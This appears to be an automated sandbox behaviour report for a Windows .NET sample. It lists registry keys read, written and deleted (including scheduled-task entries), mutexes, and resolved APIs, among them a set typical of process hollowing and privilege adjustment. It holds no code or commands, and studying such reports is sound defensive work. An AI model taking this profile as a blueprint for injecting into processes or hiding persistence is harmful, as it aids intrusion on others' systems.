HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\RegistryRoot HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\AssemblyPath HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\AssemblyPath2 HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\NET Framework Setup\NDP\v4\Client\Install HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\NGEN_USE_PRIVATE_STORE HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\DefaultVersion HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Version HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\ZapSet HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\v2.0.50727\NGENService\Roots\WorkPending HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\NGENBreakOnWorker HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\NGenRegistryAccessCount HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\v2.0.50727\NGENService\State\ExtraInstallSteps HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\NGENServiceBreakOnStart HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\NGenMaxLogSize HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\NGENServiceTestHookDll HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\NGENServicePolicy HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\v2.0.50727\NGENService\ListenedState\RootstoreDirty HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\NGENUseService HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\NET Framework Setup\NDP\v4\Full\Release HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\NGENServiceWaitAggressiveWork HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\NGENServiceConservative HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\NGenWorkerCount HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\EnableMultiproc HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\SvcRetryNgenFailures HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\NGenLocalWorker HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\NGENServiceRestrictWorkersPrivileges HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\NGENServiceWaitWorking
Write Keys
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{42EF5567-14D0-45CC-8A3E-B4114DF78E91}\Path HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{42EF5567-14D0-45CC-8A3E-B4114DF78E91}\Hash HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Update\Update\Id HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Update\Update\Index HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{42EF5567-14D0-45CC-8A3E-B4114DF78E91}\Triggers HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{42EF5567-14D0-45CC-8A3E-B4114DF78E91}\DynamicInfo HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{D1266DD9-924E-4395-B18B-80FD552F9E14}\Path HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{D1266DD9-924E-4395-B18B-80FD552F9E14}\Hash HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{D1266DD9-924E-4395-B18B-80FD552F9E14}\Triggers HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{D1266DD9-924E-4395-B18B-80FD552F9E14}\DynamicInfo HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\LastServiceStart HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\PreviousServiceShutdown HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ProcessID HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{C20260E6-0B72-4836-A956-B7481C696DAC}\Path HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{C20260E6-0B72-4836-A956-B7481C696DAC}\Hash HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{C20260E6-0B72-4836-A956-B7481C696DAC}\Triggers HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{C20260E6-0B72-4836-A956-B7481C696DAC}\DynamicInfo HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{94AA3293-B515-4FA7-A36B-3CFA64BA5BE3}\DynamicInfo HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Handshake\{513494DA-44B6-4567-B247-8E8A881C4619} HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{34F74514-1B21-45C2-94F4-2501B6B1F05B}\Path HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{34F74514-1B21-45C2-94F4-2501B6B1F05B}\Hash HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{34F74514-1B21-45C2-94F4-2501B6B1F05B}\Triggers HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{34F74514-1B21-45C2-94F4-2501B6B1F05B}\DynamicInfo HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{63D65EA2-89AD-42FC-B17F-C410099FA803}\Path HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{63D65EA2-89AD-42FC-B17F-C410099FA803}\Hash HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{63D65EA2-89AD-42FC-B17F-C410099FA803}\Triggers HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{63D65EA2-89AD-42FC-B17F-C410099FA803}\DynamicInfo HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{3B0C106E-E557-4BED-86CF-6B54F8BB1F20}\Path HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{3B0C106E-E557-4BED-86CF-6B54F8BB1F20}\Hash HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{3B0C106E-E557-4BED-86CF-6B54F8BB1F20}\Triggers HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{3B0C106E-E557-4BED-86CF-6B54F8BB1F20}\DynamicInfo HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{10F1A110-2A40-4EA0-A72E-CD7B93E93B5E}\Path HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{10F1A110-2A40-4EA0-A72E-CD7B93E93B5E}\Hash HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{10F1A110-2A40-4EA0-A72E-CD7B93E93B5E}\Triggers HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{10F1A110-2A40-4EA0-A72E-CD7B93E93B5E}\DynamicInfo HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{C0FD1BEB-1BF6-45A3-94D8-6E0C5DBB93D9}\Path HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{C0FD1BEB-1BF6-45A3-94D8-6E0C5DBB93D9}\Hash HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{C0FD1BEB-1BF6-45A3-94D8-6E0C5DBB93D9}\Triggers HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{C0FD1BEB-1BF6-45A3-94D8-6E0C5DBB93D9}\DynamicInfo HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{6369BE4A-3833-4DFB-8D48-ADFD389F29A7}\Path HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{6369BE4A-3833-4DFB-8D48-ADFD389F29A7}\Hash HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{6369BE4A-3833-4DFB-8D48-ADFD389F29A7}\Triggers HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{6369BE4A-3833-4DFB-8D48-ADFD389F29A7}\DynamicInfo HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BITS\Performance\PerfMMFileName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{B0C32C86-F054-4CC3-8884-E57AA9DA7B69}\Path HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{B0C32C86-F054-4CC3-8884-E57AA9DA7B69}\Hash HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{B0C32C86-F054-4CC3-8884-E57AA9DA7B69}\Triggers HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{B0C32C86-F054-4CC3-8884-E57AA9DA7B69}\DynamicInfo HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\BackupRestore\FilesNotToBackup\BITS_LOG HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\BackupRestore\FilesNotToBackup\BITS_BAK HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS\Diag\BITS Writer HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{49BBA3EF-3AB3-47C2-9DF5-3C494967DA83}\Path HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{49BBA3EF-3AB3-47C2-9DF5-3C494967DA83}\Hash HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{49BBA3EF-3AB3-47C2-9DF5-3C494967DA83}\Triggers HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{49BBA3EF-3AB3-47C2-9DF5-3C494967DA83}\DynamicInfo HKEY_LOCAL_MACHINE\Software\Microsoft\Tracing\regasm_RASAPI32 HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\regasm_RASAPI32\EnableFileTracing HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\regasm_RASAPI32\EnableConsoleTracing HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\regasm_RASAPI32\FileTracingMask HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\regasm_RASAPI32\ConsoleTracingMask HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\regasm_RASAPI32\MaxFileSize HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\regasm_RASAPI32\FileDirectory HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Handshake\{513494DA-44B6-4567-B247-8E8A881C4619}\data HKEY_LOCAL_MACHINE\Software\Microsoft\Wbem\Transports\Decoupled\Server HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Server\CreationTime HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Server\MarshaledProxy HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Server\ProcessIdentifier HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ConfigValueEssNeedsLoading HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\List of event-active namespaces HKEY_USERS\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\4B\7F06864B\LanguageList HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Macromedia\FlashPlayerSAU\LastUpdateCheck HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Macromedia\FlashPlayerSAU\CheckFrequency
Delete Keys
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\LastServiceStart
Mutexes
Global\CLR_CASOFF_MUTEX Global\.net clr networking Local\_!MSFTHISTORY!_ Local\c:!users!seven01!appdata!local!microsoft!windows!temporary internet files!content.ie5! Local\c:!users!seven01!appdata!roaming!microsoft!windows!cookies! Local\c:!users!seven01!appdata!local!microsoft!windows!history!history.ie5! Local\!IETld!Mutex Local\c:!users!seven01!appdata!roaming!microsoft!windows!ietldcache! Local\MSCTF.Asm.MutexDefault1
Resolved APIs
advapi32.dll.RegOpenKeyExW advapi32.dll.RegQueryInfoKeyW advapi32.dll.RegEnumKeyExW advapi32.dll.RegEnumValueW advapi32.dll.RegCloseKey advapi32.dll.RegQueryValueExW kernel32.dll.FlsAlloc kernel32.dll.FlsFree kernel32.dll.FlsGetValue kernel32.dll.FlsSetValue kernel32.dll.InitializeCriticalSectionEx kernel32.dll.CreateEventExW kernel32.dll.CreateSemaphoreExW kernel32.dll.SetThreadStackGuarantee kernel32.dll.CreateThreadpoolTimer kernel32.dll.SetThreadpoolTimer kernel32.dll.WaitForThreadpoolTimerCallbacks kernel32.dll.CloseThreadpoolTimer kernel32.dll.CreateThreadpoolWait kernel32.dll.SetThreadpoolWait kernel32.dll.CloseThreadpoolWait kernel32.dll.FlushProcessWriteBuffers kernel32.dll.FreeLibraryWhenCallbackReturns kernel32.dll.GetCurrentProcessorNumber kernel32.dll.GetLogicalProcessorInformation kernel32.dll.CreateSymbolicLinkW kernel32.dll.EnumSystemLocalesEx kernel32.dll.CompareStringEx kernel32.dll.GetDateFormatEx kernel32.dll.GetLocaleInfoEx kernel32.dll.GetTimeFormatEx kernel32.dll.GetUserDefaultLocaleName kernel32.dll.IsValidLocaleName kernel32.dll.LCMapStringEx kernel32.dll.GetTickCount64 advapi32.dll.EventRegister mscoree.dll.#142 mscoreei.dll.RegisterShimImplCallback mscoreei.dll.OnShimDllMainCalled mscoreei.dll._CorExeMain shlwapi.dll.UrlIsW version.dll.GetFileVersionInfoSizeW version.dll.GetFileVersionInfoW version.dll.VerQueryValueW kernel32.dll.InitializeCriticalSectionAndSpinCount kernel32.dll.IsProcessorFeaturePresent msvcrt.dll._set_error_mode msvcrt.dll.?set_terminate@@YAP6AXXZP6AXXZ@Z kernel32.dll.FindActCtxSectionStringW kernel32.dll.GetSystemWindowsDirectoryW mscoree.dll.GetProcessExecutableHeap mscoreei.dll.GetProcessExecutableHeap mscorwks.dll._CorExeMain mscorwks.dll.GetCLRFunction advapi32.dll.RegisterTraceGuidsW advapi32.dll.UnregisterTraceGuids advapi32.dll.GetTraceLoggerHandle advapi32.dll.GetTraceEnableLevel advapi32.dll.GetTraceEnableFlags advapi32.dll.TraceEvent mscoree.dll.IEE mscoreei.dll.IEE mscorwks.dll.IEE mscoree.dll.GetStartupFlags mscoreei.dll.GetStartupFlags mscoree.dll.GetHostConfigurationFile mscoreei.dll.GetHostConfigurationFile mscoreei.dll.GetCORVersion mscoree.dll.GetCORSystemDirectory mscoreei.dll.GetCORSystemDirectory_RetAddr mscoreei.dll.CreateConfigStream ntdll.dll.RtlUnwind kernel32.dll.IsWow64Process advapi32.dll.AllocateAndInitializeSid advapi32.dll.OpenProcessToken advapi32.dll.GetTokenInformation advapi32.dll.InitializeAcl advapi32.dll.AddAccessAllowedAce advapi32.dll.FreeSid kernel32.dll.AddVectoredContinueHandler kernel32.dll.RemoveVectoredContinueHandler advapi32.dll.ConvertSidToStringSidW shell32.dll.SHGetFolderPathW kernel32.dll.GetWriteWatch kernel32.dll.ResetWriteWatch kernel32.dll.CreateMemoryResourceNotification kernel32.dll.QueryMemoryResourceNotification kernel32.dll.QueryActCtxW kernel32.dll.GetVersionExW kernel32.dll.GetFullPathNameW ole32.dll.CoInitializeEx cryptbase.dll.SystemFunction036 ole32.dll.CoGetContextToken advapi32.dll.CryptAcquireContextA advapi32.dll.CryptReleaseContext advapi32.dll.CryptCreateHash advapi32.dll.CryptDestroyHash advapi32.dll.CryptHashData advapi32.dll.CryptGetHashParam advapi32.dll.CryptImportKey advapi32.dll.CryptExportKey advapi32.dll.CryptGenKey advapi32.dll.CryptGetKeyParam advapi32.dll.CryptDestroyKey advapi32.dll.CryptVerifySignatureA advapi32.dll.CryptSignHashA advapi32.dll.CryptGetProvParam advapi32.dll.CryptGetUserKey advapi32.dll.CryptEnumProvidersA mscoree.dll.GetMetaDataInternalInterface mscoreei.dll.GetMetaDataInternalInterface mscorwks.dll.GetMetaDataInternalInterface mscorjit.dll.getJit kernel32.dll.GetUserDefaultUILanguage kernel32.dll.SetErrorMode kernel32.dll.GetFileAttributesExW mscoreei.dll.LoadLibraryShim culture.dll.ConvertLangIdToCultureName kernel32.dll.lstrlen kernel32.dll.lstrlenW mscoree.dll.ND_RI4 mscoreei.dll.ND_RI4 kernel32.dll.VirtualProtect kernel32.dll.GlobalMemoryStatusEx kernel32.dll.GetEnvironmentVariableW kernel32.dll.SwitchToThread kernel32.dll.CloseHandle kernel32.dll.GetCurrentProcessId advapi32.dll.LookupPrivilegeValueW kernel32.dll.GetCurrentProcess advapi32.dll.AdjustTokenPrivileges kernel32.dll.OpenProcess psapi.dll.EnumProcessModules psapi.dll.GetModuleInformation psapi.dll.GetModuleBaseNameW psapi.dll.GetModuleFileNameExW kernel32.dll.GetProcAddress kernel32.dll.DebugActiveProcess kernel32.dll.WaitForDebugEvent kernel32.dll.ContinueDebugEvent kernel32.dll.DeleteFileA advapi32.dll.SetKernelObjectSecurity advapi32.dll.GetKernelObjectSecurity ntdll.dll.NtSetInformationProcess ntdll.dll.NtProtectVirtualMemory kernel32.dll.GetModuleFileNameW shfolder.dll.SHGetFolderPathW kernel32.dll.CreateDirectoryW kernel32.dll.MoveFileW kernel32.dll.LocalFree kernel32.dll.CreatePipe kernel32.dll.DuplicateHandle kernel32.dll.GetStdHandle kernel32.dll.GetCurrentDirectoryW kernel32.dll.CreateProcessW kernel32.dll.GetFileType kernel32.dll.GetConsoleCP kernel32.dll.GetACP kernel32.dll.UnmapViewOfFile kernel32.dll.GetConsoleOutputCP kernel32.dll.WriteFile ole32.dll.CoUninitialize kernel32.dll.CreateActCtxW kernel32.dll.AddRefActCtx kernel32.dll.ReleaseActCtx kernel32.dll.ActivateActCtx kernel32.dll.DeactivateActCtx kernel32.dll.GetCurrentActCtx advapi32.dll.EventUnregister kernel32.dll.SetThreadUILanguage kernel32.dll.SortGetHandle kernel32.dll.SortCloseHandle kernel32.dll.CopyFileExW kernel32.dll.IsDebuggerPresent kernel32.dll.SetConsoleInputExeNameW ntdll.dll.NtQueryInformationProcess kernel32.dll.GetTempPathW kernel32.dll.CreateFileW kernel32.dll.LocalAlloc mscoree.dll.ND_RU1 mscoreei.dll.ND_RU1 advapi32.dll.LsaClose advapi32.dll.LsaFreeMemory advapi32.dll.LsaOpenPolicy advapi32.dll.LsaLookupSids kernel32.dll.DeleteFileW kernel32.dll.SetFileAttributesW kernel32.dll.VirtualAllocEx kernel32.dll.GetThreadContext kernel32.dll.Wow64GetThreadContext ntdll.dll.NtUnmapViewOfSection kernel32.dll.ResumeThread kernel32.dll.SetThreadContext kernel32.dll.Wow64SetThreadContext kernel32.dll.WriteProcessMemory kernel32.dll.ReadProcessMemory kernel32.dll.TerminateProcess ntdll.dll.NtQuerySystemInformation sechost.dll.OpenSCManagerW sechost.dll.OpenServiceW sechost.dll.QueryServiceStatus sechost.dll.CloseServiceHandle uxtheme.dll.ThemeInitApiHook user32.dll.IsProcessDPIAware sechost.dll.LookupAccountNameLocalW advapi32.dll.LookupAccountSidW sechost.dll.LookupAccountSidLocalW sspicli.dll.GetUserNameExW ole32.dll.CoTaskMemAlloc pcwum.dll.PerfDeleteInstance pcwum.dll.PerfStopProvider cryptsp.dll.CryptReleaseContext advapi32.dll.WmiCloseBlock propsys.dll.PropVariantToVariant ole32.dll.CoDisconnectObject wbemcore.dll.Shutdown ole32.dll.CoReleaseMarshalData advapi32.dll.RegDeleteKeyExW kernel32.dll.RegDeleteValueW oleaut32.dll.#9 advapi32.dll.WmiNotificationRegistrationW tschannel.dll.DllGetClassObject tschannel.dll.DllCanUnloadNow shell32.dll.SHChangeNotify rasapi32.dll.RasEnumConnectionsW rasapi32.dll.RasConnectionNotificationW iphlpapi.dll.GetIfTable2 iphlpapi.dll.FreeMibTable wtsapi32.dll.WTSQueryUserToken qmgr.dll.ServiceMain advapi32.dll.SetEntriesInAclW ws2_32.dll.#115 ws2_32.dll.WSASocketW ws2_32.dll.WSAIoctl ws2_32.dll.#111 bitsigd.dll.InitializeEx ole32.dll.CoCreateInstance upnp.dll.DllGetClassObject upnp.dll.DllCanUnloadNow rpcrt4.dll.RpcStringBindingComposeA rpcrt4.dll.RpcBindingFromStringBindingA rpcrt4.dll.RpcStringFreeA rpcrt4.dll.NdrClientCall3 rpcrt4.dll.I_RpcExceptionFilter sechost.dll.OpenSCManagerA sechost.dll.OpenServiceA sechost.dll.StartServiceA rpcrt4.dll.RpcBindingFree ws2_32.dll.#116 advapi32.dll.LogonUserW sspicli.dll.LogonUserExExW wtsapi32.dll.WTSEnumerateSessionsW wtsapi32.dll.WTSFreeMemory advapi32.dll.QueryAllTracesW vssapi.dll.CreateWriter propsys.dll.VariantToPropVariant ole32.dll.CoRegisterClassObject iphlpapi.dll.GetAdaptersAddresses kernel32.dll.GetNativeSystemInfo cryptsp.dll.CryptAcquireContextA cryptsp.dll.CryptImportKey cryptsp.dll.CryptCreateHash cryptsp.dll.CryptHashData cryptsp.dll.CryptVerifySignatureA cryptsp.dll.CryptDestroyHash cryptsp.dll.CryptDestroyKey bcrypt.dll.BCryptGetFipsAlgorithmMode cryptsp.dll.CryptAcquireContextW cryptsp.dll.CryptGetHashParam ole32.dll.CreateBindCtx ole32.dll.CoGetObjectContext cryptsp.dll.CryptGenRandom ole32.dll.NdrOleInitializeExtension ole32.dll.CoGetClassObject ole32.dll.CoGetMarshalSizeMax ole32.dll.CoMarshalInterface ole32.dll.CoUnmarshalInterface ole32.dll.StringFromIID ole32.dll.CoGetPSClsid ole32.dll.CoTaskMemFree ole32.dll.DcomChannelSetHResult rpcrtremote.dll.I_RpcExtInitializeExtensionPoint ole32.dll.MkParseDisplayName oleaut32.dll.#2 oleaut32.dll.#6 kernel32.dll.GetThreadPreferredUILanguages kernel32.dll.SetThreadPreferredUILanguages kernel32.dll.LocaleNameToLCID kernel32.dll.LCIDToLocaleName kernel32.dll.GetSystemDefaultLocaleName ole32.dll.BindMoniker sxs.dll.SxsOleAut32RedirectTypeLibrary advapi32.dll.RegOpenKeyW advapi32.dll.RegEnumKeyW advapi32.dll.RegQueryValueW sxs.dll.SxsOleAut32MapConfiguredClsidToReferenceClsid sxs.dll.SxsLookupClrGuid oleaut32.dll.#4 oleaut32.dll.#283 oleaut32.dll.#284 mscoreei.dll._CorDllMain mscoree.dll.GetTokenForVTableEntry mscoree.dll.SetTargetForVTableEntry mscoree.dll.GetTargetForVTableEntry mscoreei.dll.GetTokenForVTableEntry mscoreei.dll.SetTargetForVTableEntry mscoreei.dll.GetTargetForVTableEntry kernel32.dll.GetLastError oleaut32.dll.VariantInit oleaut32.dll.VariantClear oleaut32.dll.#7 kernel32.dll.CreateEventW kernel32.dll.SetEvent ole32.dll.CoWaitForMultipleHandles ole32.dll.IIDFromString kernel32.dll.LoadLibraryA wminet_utils.dll.ResetSecurity wminet_utils.dll.SetSecurity wminet_utils.dll.BlessIWbemServices wminet_utils.dll.BlessIWbemServicesObject wminet_utils.dll.GetPropertyHandle wminet_utils.dll.WritePropertyValue wminet_utils.dll.Clone wminet_utils.dll.VerifyClientKey wminet_utils.dll.GetQualifierSet wminet_utils.dll.Get wminet_utils.dll.Put wminet_utils.dll.Delete wminet_utils.dll.GetNames wminet_utils.dll.BeginEnumeration wminet_utils.dll.Next wminet_utils.dll.EndEnumeration wminet_utils.dll.GetPropertyQualifierSet wminet_utils.dll.GetObjectText wminet_utils.dll.SpawnDerivedClass wminet_utils.dll.SpawnInstance wminet_utils.dll.CompareTo wminet_utils.dll.GetPropertyOrigin wminet_utils.dll.InheritsFrom wminet_utils.dll.GetMethod wminet_utils.dll.PutMethod wminet_utils.dll.DeleteMethod wminet_utils.dll.BeginMethodEnumeration wminet_utils.dll.NextMethod wminet_utils.dll.EndMethodEnumeration wminet_utils.dll.GetMethodQualifierSet wminet_utils.dll.GetMethodOrigin wminet_utils.dll.QualifierSet_Get wminet_utils.dll.QualifierSet_Put wminet_utils.dll.QualifierSet_Delete wminet_utils.dll.QualifierSet_GetNames wminet_utils.dll.QualifierSet_BeginEnumeration wminet_utils.dll.QualifierSet_Next wminet_utils.dll.QualifierSet_EndEnumeration wminet_utils.dll.GetCurrentApartmentType wminet_utils.dll.GetDemultiplexedStub wminet_utils.dll.CreateInstanceEnumWmi wminet_utils.dll.CreateClassEnumWmi wminet_utils.dll.ExecQueryWmi wminet_utils.dll.ExecNotificationQueryWmi wminet_utils.dll.PutInstanceWmi wminet_utils.dll.PutClassWmi wminet_utils.dll.CloneEnumWbemClassObject wminet_utils.dll.ConnectServerWmi oleaut32.dll.#500 oleaut32.dll.SysStringLen kernel32.dll.RtlZeroMemory kernel32.dll.RegOpenKeyExW advapi32.dll.GetUserNameW kernel32.dll.GetComputerNameW kernel32.dll.GetFileSize kernel32.dll.ReadFile mscoree.dll.ND_RI2 mscoreei.dll.ND_RI2 rtutils.dll.TraceRegisterExA rtutils.dll.TracePrintfExA ws2_32.dll.WSAStartup ws2_32.dll.setsockopt ws2_32.dll.WSAEventSelect ws2_32.dll.ioctlsocket ws2_32.dll.closesocket advapi32.dll.ConvertStringSecurityDescriptorToSecurityDescriptorW kernel32.dll.CreateFileMappingW kernel32.dll.MapViewOfFile kernel32.dll.VirtualQuery kernel32.dll.ReleaseMutex advapi32.dll.CreateWellKnownSid kernel32.dll.CreateMutexW kernel32.dll.WaitForSingleObject kernel32.dll.OpenMutexW kernel32.dll.GetProcessTimes kernel32.dll.FormatMessageW advapi32.dll.RegOpenCurrentUser advapi32.dll.RegNotifyChangeKeyValue sechost.dll.NotifyServiceStatusChangeA winhttp.dll.WinHttpGetIEProxyConfigForCurrentUser kernel32.dll.ResetEvent iphlpapi.dll.GetNetworkParams dnsapi.dll.DnsQueryConfig iphlpapi.dll.GetIpInterfaceEntry iphlpapi.dll.GetBestInterfaceEx ws2_32.dll.inet_addr ws2_32.dll.getaddrinfo ws2_32.dll.freeaddrinfo ws2_32.dll.WSAConnect ws2_32.dll.send ws2_32.dll.recv ws2_32.dll.shutdown kernel32.dll.GetModuleHandleW user32.dll.DefWindowProcW gdi32.dll.GetStockObject user32.dll.RegisterClassW user32.dll.CreateWindowExW user32.dll.SetWindowLongW user32.dll.GetWindowLongW kernel32.dll.GetCurrentThread kernel32.dll.GetCurrentThreadId user32.dll.CallWindowProcW user32.dll.RegisterWindowMessageW dwmapi.dll.DwmIsCompositionEnabled 